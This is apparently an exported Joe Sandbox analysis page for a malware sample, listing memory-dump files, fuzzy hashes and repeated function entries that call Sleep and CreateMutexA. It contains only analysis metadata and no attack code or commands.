Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f1d2db133bbd94f36438e38cfc23d9e8e9a394a8d89490c89c71ddbc19849fe4
Instruction ID: ae91e6638b0d39ae5b1be66346e1975ed7dcd50b239106753af33d5751024623
Opcode Fuzzy Hash: f1d2db133bbd94f36438e38cfc23d9e8e9a394a8d89490c89c71ddbc19849fe4
Instruction Fuzzy Hash: 8E3126317052059BEB18DB7CE899BADBBA2EFC5320F648218E018D73D6C77589808772

Function 00D0A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0093d72bd380f823f041ce9d91438ed2a20fbd1d5f3064979155082b865da07e
Instruction ID: f2b6a8cffb13ec3d49c4516060dd54c382db643ab008866c023280373110d6a2
Opcode Fuzzy Hash: 0093d72bd380f823f041ce9d91438ed2a20fbd1d5f3064979155082b865da07e
Instruction Fuzzy Hash: 9A3116317103049BEB08DB7CEC89BADB772EFC5320F248219E418973D5C77699808672

Function 00D0A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2a730a0ddbe9899cce4c3d3dabf78084a43b4eaf17c2eded2b4bdc3a8682cbf2
Instruction ID: c5add269eee1fe62e503b10d186e12f732164970af91f66bfa65c0aaaddfee15
Opcode Fuzzy Hash: 2a730a0ddbe9899cce4c3d3dabf78084a43b4eaf17c2eded2b4bdc3a8682cbf2
Instruction Fuzzy Hash: D131F6317013059BEB08DB7CEC89BADB772EFC6320F644219E4189B3D5D77689808676

Function 00D0A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 24cec34c4bc915442992d177acadd8e3234b85a8820123ebec2b840ca77b4790
Instruction ID: ee3680112975801ba67154c596984ae9fffe4609eba88efc3b8f3db0e2677ac1
Opcode Fuzzy Hash: 24cec34c4bc915442992d177acadd8e3234b85a8820123ebec2b840ca77b4790
Instruction Fuzzy Hash: 9431F731B003049BEB08DBBCE88DBADB772EFC5314F648218E418972D5DBB589808676

Function 00D0A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 677edfb363d34523a5cabcd12c2dddda7b6d1163b021a00931d2f038d46d8a6d
Instruction ID: db136255154b32a2d3dc7c38e46bb7807a83abdc2372c0301976ce2f86d61b75
Opcode Fuzzy Hash: 677edfb363d34523a5cabcd12c2dddda7b6d1163b021a00931d2f038d46d8a6d
Instruction Fuzzy Hash: 6631C2317013059BEB18DB7CEC89BADB772EBC5324F688618E4589B2D5CB7589808672

Function 00D0A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
